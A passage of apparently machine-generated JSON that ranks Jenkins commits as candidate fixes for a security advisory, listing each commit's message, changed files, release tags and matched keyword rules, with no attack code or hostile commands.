"987b147ba2ec0ddb635bb9c862695426b540d06e", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1704164982, + "hunks": 10, + "message": "[JENKINS-72469] Avoid repeated tool downloads from misconfigured HTTP servers (#8814) * [JENKINS-72469] Avoid repeated tool downloads from misconfigured HTTP servers The Azul Systems content delivery network stopped providing the last-modified header in their URL responses. They only provide the ETag header. Add ETag support to the Jenkins FilePath URL download method so that if ETag is provided, we use the ETag value. If last-modified is provided and matches, we continue to honor it as well. https://issues.jenkins.io/browse/JENKINS-72469 has more details. https://community.jenkins.io/t/job-stuck-on-unpacking-global-jdk-tool/11272 also includes more details. Testing done * Automated test added to FilePathTest for code changes on the controller. The automated test confirms that even without a last-modified value, the later downloads are skipped if a matching ETag is received. The automated test also confirms that download is skipped if OK is received with a matching ETag. No automated test was added to confirm download on the agent because that path is not tested by any of the other test automation of this class. * Interactive test with the Azul Systems JDK installer on the controller. I created a tool installer for the Azul JDK. I verified that before this change it was downloaded each time the job was run. I verified that after the change it was downloaded only once. * Interactive test with the Azul Systems JDK installer on an agent. I created a tool installer for the Azul JDK. I verified that before this change it was downloaded each time the job was run. I verified that after the change it was downloaded only once. * Interactive test on the controller with a file download from an NGINX web server confirmed that the tool is downloaded once and then later runs of the job did not download the file again. * Use equals instead of contains to check ETag Don't risk that a substring of an earlier ETag might cause a later ETag to incorrectly assume it does not need to download a modified installer. * Use weak comparison for ETag values https://httpwg.org/specs/rfc9110.html#field.etag describes weak comparison cases and notes that content providers may provide weak or strong entity tags. Updated code to correctly compare weak and strong entity tags. Also improves the null checks based on the suggestions from @mawinter69 in https://github.com/jenkinsci/jenkins/pull/8814#discussion_r1438909824 * Test comparison of weak and strong validators * Do not duplicate test args, more readable * Use better variable names in test Cover more branches in the equalEtags method as well * Fix variable declaration order (cherry picked from commit c8156d41f2e6abf52b41669287e9ab771080b8e4)", + "changed_files": [ + "core/src/main/java/hudson/FilePath.java" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8814": "" + }, + "cve_refs": [], + "twins": [ + [ + "no-tag", + "c8156d41f2e6abf52b41669287e9ab771080b8e4" + ] + ], + "tags": [ + "jenkins-2.426.3", + "jenkins-2.426.3-rc" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: read, content, controller, path, file, system", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: file, path", + "relevance": 4 + }, + { + "id": "COMMIT_HAS_TWINS", + "message": "This commit has one or more twins.", + "relevance": 2 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8814", + "relevance": 2 + }, + { + "id": "COMMIT_IS_SECURITY_RELEVANT", + "message": "", + "relevance": 32 + } + ] + }, + { + "commit_id": "434bf2b0f8a7181af45e66bbab3b3033ea17376b", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1710057391, + "hunks": 10, + "message": "[JENKINS-72833] Do not attempt to self-`exec` on systems without `libc` (#9025)", + "changed_files": [ + "core/src/main/java/hudson/lifecycle/Lifecycle.java", + "core/src/main/java/hudson/lifecycle/UnixLifecycle.java", + "core/src/main/java/jenkins/util/JavaVMArguments.java" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "9025": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: system", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: argument", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 9025", + "relevance": 2 + }, + { + "id": "COMMIT_IS_SECURITY_RELEVANT", + "message": "", + "relevance": 32 + } + ] + }, + { + "commit_id": "3c042d12b836e21c8e566294f168faa29d9d8d95", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1709331485, + "hunks": 69, + "message": "Reduce usage of `StringUtils` (#8999)", + "changed_files": [ + "cli/src/main/java/hudson/cli/CLI.java", + "core/src/main/java/hudson/FilePath.java", + "core/src/main/java/hudson/Functions.java", + "core/src/main/java/hudson/PluginManager.java", + "core/src/main/java/hudson/model/Computer.java", + "core/src/main/java/hudson/model/DirectoryBrowserSupport.java", + "core/src/main/java/hudson/model/TopLevelItemDescriptor.java", + "core/src/main/java/hudson/model/User.java", + "core/src/main/java/hudson/model/View.java", + "core/src/main/java/hudson/model/ViewDescriptor.java", + "core/src/main/java/hudson/security/SecurityRealm.java", + "core/src/main/java/hudson/tasks/BuildTrigger.java", + "core/src/main/java/hudson/tasks/Maven.java", + "core/src/main/java/hudson/triggers/SCMTrigger.java", + "core/src/main/java/hudson/util/io/ZipArchiver.java", + "core/src/main/java/jenkins/install/InstallState.java", + "core/src/main/java/jenkins/install/InstallUtil.java", + "core/src/main/java/jenkins/model/AssetManager.java", + "core/src/main/java/jenkins/model/ProjectNamingStrategy.java", + "core/src/main/java/jenkins/security/ApiTokenProperty.java", + "core/src/main/java/jenkins/security/apitoken/ApiTokenStore.java", + "core/src/main/java/jenkins/tasks/filters/impl/RetainVariablesLocalRule.java", + "core/src/main/java/jenkins/triggers/ReverseBuildTrigger.java", + "core/src/main/java/jenkins/util/SystemProperties.java", + "core/src/main/java/jenkins/util/TreeString.java", + "core/src/main/java/jenkins/util/VirtualFile.java", + "core/src/main/java/org/jenkins/ui/symbol/Symbol.java" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8999": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "CHANGES_RELEVANT_CODE", + "message": "The commit modifies code containing relevant filename or methods: CLI", + "relevance": 8 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: file, path, system", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8999", + "relevance": 2 + } + ] + }, + { + "commit_id": "c43a8636bb381797a2e2fe0adebc832d523c4b66", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1709827371, + "hunks": 0, + "message": "Merge pull request #9014 from krisstern/feat/stable-2.440/backporting-2.440.2-1 Backporting for LTS 2.440.2", + "changed_files": [], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "9014": "2.440.2 release checklist jenkins-infra/release#510" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc" + ], + "matched_rules": [ + { + "id": "RELEVANT_WORDS_IN_MESSAGE", + "message": "The commit message contains some relevant words: LTS", + "relevance": 8 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 9014", + "relevance": 2 + } + ] + }, + { + "commit_id": "9f68c181de2b710ce6b9f05b09d9475a89ab6fe8", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1709668895, + "hunks": 28, + "message": "[JENKINS-72540] FilePath.copyRecursiveTo() copying now also if local and remote have incompatible character sets at binary level (#8860) * allow specification of achrive's file name encoding in Archiver#create() For JENKINS-72540 only needed for tar, but changed zip for consistency as well. * revise copyRecursiveTo to use same file name encoding locally and remote such that local and remote understand each other Otherwise, if remote is z/OS with native EBCDIC encoding the file names will be in EBCDIC and fails reading", + "changed_files": [ + "core/src/main/java/hudson/FilePath.java", + "core/src/main/java/hudson/util/io/ArchiverFactory.java", + "core/src/main/java/hudson/util/io/TarArchiver.java", + "core/src/main/java/hudson/util/io/ZipArchiver.java" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8860": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: read, character, allow, path, file", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: file, path", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8860", + "relevance": 2 + } + ] + }, + { + "commit_id": "3fdda4868a77e21b1a8d7cb625b33a1b19bc917e", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1709563592, + "hunks": 4, + "message": "use tabPane to show agent systeminfo extensions (#9006) * use tabPane to show agents systeminfo extensions On an agents systemInfo page, the extensions are displayed in a tabPane Use app-bar for the heading, this removes the icon. This was the only page for an agent where an icon was used in the heading. * don't include js when not connected", + "changed_files": [ + "core/src/main/resources/hudson/slaves/SlaveComputer/systemInfo.jelly" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "9006": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: system", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: system", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 9006", + "relevance": 2 + } + ] + }, + { + "commit_id": "b91a57ca201987b20c5333b354b10f44f14271ea", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1707257692, + "hunks": 15, + "message": "Cleaning up more FilePath API restrictions (#8924)", + "changed_files": [ + "core/src/main/java/hudson/FilePath.java" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8924": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: file, path", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: file, path", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8924", + "relevance": 2 + } + ] + }, + { + "commit_id": "3e6dc60edbdb2293ac35b2059ba1fe864b5f5242", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1706888409, + "hunks": 2, + "message": "Unrestrict FilePath.isDescendant (#8913) * Unrestrict FilePath.isDescendant I needed this and noticed that it was still restricted. * Fix spotless Signed-off-by: Alexander Brandes --------- Signed-off-by: Alexander Brandes Co-authored-by: Alexander Brandes ", + "changed_files": [ + "core/src/main/java/hudson/FilePath.java" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8913": "Cleaning up more FilePath API restrictions #8924" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: file, path", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: file, path", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8913", + "relevance": 2 + } + ] + }, + { + "commit_id": "6b2e962047d6a240313286ee8580a5010383aea0", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1705425019, + "hunks": 5, + "message": "[SECURITY-3315]", + "changed_files": [ + "core/src/main/java/hudson/cli/CLIAction.java" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [ + [ + "no-tag", + "de450967f38398169650b55c002f1229a3fcdb1b" + ] + ], + "tags": [ + "jenkins-2.426.3" + ], + "matched_rules": [ + { + "id": "CHANGES_RELEVANT_CODE", + "message": "The commit modifies code containing relevant filename or methods: CLI", + "relevance": 8 + }, + { + "id": "COMMIT_HAS_TWINS", + "message": "This commit has one or more twins.", + "relevance": 2 + } + ] + }, + { + "commit_id": "72eb26a63b6af8d99c26194608f7bae809c398ff", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1705241869, + "hunks": 30, + "message": "Update operating system end of life data (#8864) Add end of life data for several more Linux releases Adds data for: * Alpine Linux 3.19 * Amazon Linux 2 (already end of life for Jenkins) * Amazon Linux 2023 * Fedora 39 Includes test data for more Linux operating systems that were already included in the end of life data.", + "changed_files": [ + "core/src/main/java/jenkins/monitor/OperatingSystemEndOfLifeAdminMonitor.java", + "core/src/main/resources/jenkins/monitor/OperatingSystemEndOfLifeAdminMonitor/end-of-life-data.json" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8864": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: read, system", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: system", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8864", + "relevance": 2 + } + ] + }, + { + "commit_id": "faf22cdb401bea57f48c45f2e62239c41e068c37", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1705158562, + "hunks": 9, + "message": "Remove unused material-icons (#8831) * Update the icon path in SvgIconTest * Remove unused material-icons", + "changed_files": [ + "war/src/main/webapp/images/material-icons/computer-24px.svg", + "war/src/main/webapp/images/material-icons/edit.svg", + "war/src/main/webapp/images/material-icons/feed.svg", + "war/src/main/webapp/images/material-icons/rss_feed-24px.svg", + "war/src/main/webapp/images/material-icons/svg-sprite-action-symbol.svg", + "war/src/main/webapp/images/material-icons/svg-sprite-content-symbol.svg", + "war/src/main/webapp/images/material-icons/svg-sprite-navigation-symbol.svg", + "war/src/main/webapp/images/material-icons/svg-sprite-social-symbol.svg", + "war/src/main/webapp/images/material-icons/view_headline-24px.svg" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8831": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: path", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: content", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8831", + "relevance": 2 + } + ] + }, + { + "commit_id": "96dc95a55e9cd10874481ec7b6390a09413ecee6", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1704833575, + "hunks": 0, + "message": "Merge pull request #8843 from krisstern/feat/stable-2.426/backporting-2.426.3-1 Backporting LTS 2.426.3", + "changed_files": [], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8843": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.426.3", + "jenkins-2.426.3-rc" + ], + "matched_rules": [ + { + "id": "RELEVANT_WORDS_IN_MESSAGE", + "message": "The commit message contains some relevant words: LTS", + "relevance": 8 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8843", + "relevance": 2 + } + ] + }, + { + "commit_id": "81c3249ca0e6bcc69e1caa2e6828ec6c8c0884cd", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1704183075, + "hunks": 4, + "message": "Use spotbugs 4.8.2 with more exclusions (#8803)", + "changed_files": [ + "core/src/spotbugs/excludesFilter.xml", + "pom.xml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8803": "Confirm that spotbugs 4.8.2 adds no new warnings jenkinsci/extras-memory-monitor#75 Confirm no new spotbugs warnings from 4.8.2 jenkinsci/bom#2777 Confirm no new spotbugs warnings from 4.8.2 jenkinsci/bridge-method-injector#79 Confirm that spotbugs 4.8.2 adds no new warnings jenkinsci/extensibility-api#26 Confirm that spotbugs 4.8.2 adds no new warnings jenkinsci/jellydoc-maven-plugin#79 Confirm that spotbugs 4.8.2 adds no new warnings jenkinsci/jenkins-test-harness-htmlunit#136 Confirm that spotbugs 4.8.2 adds no new warnings jenkinsci/lib-access-modifier#177 Confirm that spotbugs 4.8.2 adds no new warnings jenkinsci/lib-annotation-indexer#83 Confirm that spotbugs 4.8.2 adds no new warnings jenkinsci/lib-crypto-util#87 Use spotbugs 4.8.2 with more exclusions jenkinsci/lib-file-leak-detector#164 Confirm that spotbugs 4.8.2 adds no new warnings jenkinsci/lib-mock-javamail#67 Confirm that spotbugs 4.8.2 adds no new warnings jenkinsci/lib-process-utils#17 Confirm that spotbugs 4.8.2 adds no new warnings jenkinsci/lib-support-log-formatter#59 Confirm that spotbugs 4.8.2 adds no new warnings jenkinsci/lib-symbol-annotation#51 Confirm that spotbugs 4.8.2 adds no new warnings jenkinsci/lib-task-reactor#80 Confirm that spotbugs 4.8.2 adds no new warnings jenkinsci/maven-hpi-plugin#566 Confirm that spotbugs 4.8.2 adds no new warnings jenkinsci/plugin-compat-tester#622 Confirm that spotbugs 4.8.2 adds no new warnings jenkinsci/plugin-installation-manager-tool#633 Use spotbugs 4.8.2 with more exclusions jenkinsci/remoting#708 Confirm that spotbugs 4.8.2 adds no new warnings jenkinsci/stapler-maven-plugin#88 Use spotbugs 4.8.2 with more exclusions jenkinsci/stapler#507 Confirm that spotbugs 4.8.2 adds no new warnings jenkinsci/trilead-ssh2#172 Confirm that spotbugs 4.8.2 adds no new warnings jenkinsci/winp#106 Confirm that spotbugs 4.8.2 adds no new warnings jenkinsci/winstone#356 Bump com.github.spotbugs:spotbugs-maven-plugin from 4.7.3.6 to 4.8.2.0 jenkinsci/pom#510 Rely on parent pom spotbugs configuration #8855" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "CHANGES_RELEVANT_CODE", + "message": "The commit modifies code containing relevant filename or methods: CLI", + "relevance": 8 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8803", + "relevance": 2 + } + ] + }, + { + "commit_id": "3e04c2ac3d20207279ec246ce6385a0d3652ac3f", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1703183843, + "hunks": 25, + "message": "Update Freestyle project description (#8795) * Update Freestyle project description * Fix typo * Fix another typo --------- Co-authored-by: Daniel Beck ", + "changed_files": [ + "core/src/main/resources/hudson/model/Messages.properties", + "core/src/main/resources/hudson/model/Messages_bg.properties", + "core/src/main/resources/hudson/model/Messages_ca.properties", + "core/src/main/resources/hudson/model/Messages_cs.properties", + "core/src/main/resources/hudson/model/Messages_da.properties", + "core/src/main/resources/hudson/model/Messages_de.properties", + "core/src/main/resources/hudson/model/Messages_es.properties", + "core/src/main/resources/hudson/model/Messages_et.properties", + "core/src/main/resources/hudson/model/Messages_fi.properties", + "core/src/main/resources/hudson/model/Messages_fr.properties", + "core/src/main/resources/hudson/model/Messages_it.properties", + "core/src/main/resources/hudson/model/Messages_ja.properties", + "core/src/main/resources/hudson/model/Messages_ko.properties", + "core/src/main/resources/hudson/model/Messages_lt.properties", + "core/src/main/resources/hudson/model/Messages_nb_NO.properties", + "core/src/main/resources/hudson/model/Messages_nl.properties", + "core/src/main/resources/hudson/model/Messages_pl.properties", + "core/src/main/resources/hudson/model/Messages_pt_BR.properties", + "core/src/main/resources/hudson/model/Messages_pt_PT.properties", + "core/src/main/resources/hudson/model/Messages_ro.properties", + "core/src/main/resources/hudson/model/Messages_ru.properties", + "core/src/main/resources/hudson/model/Messages_sv_SE.properties", + "core/src/main/resources/hudson/model/Messages_tr.properties", + "core/src/main/resources/hudson/model/Messages_uk.properties", + "core/src/main/resources/hudson/model/Messages_zh_TW.properties" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8795": "Translate freestyle project description to Turkish #9066" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.438", + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + 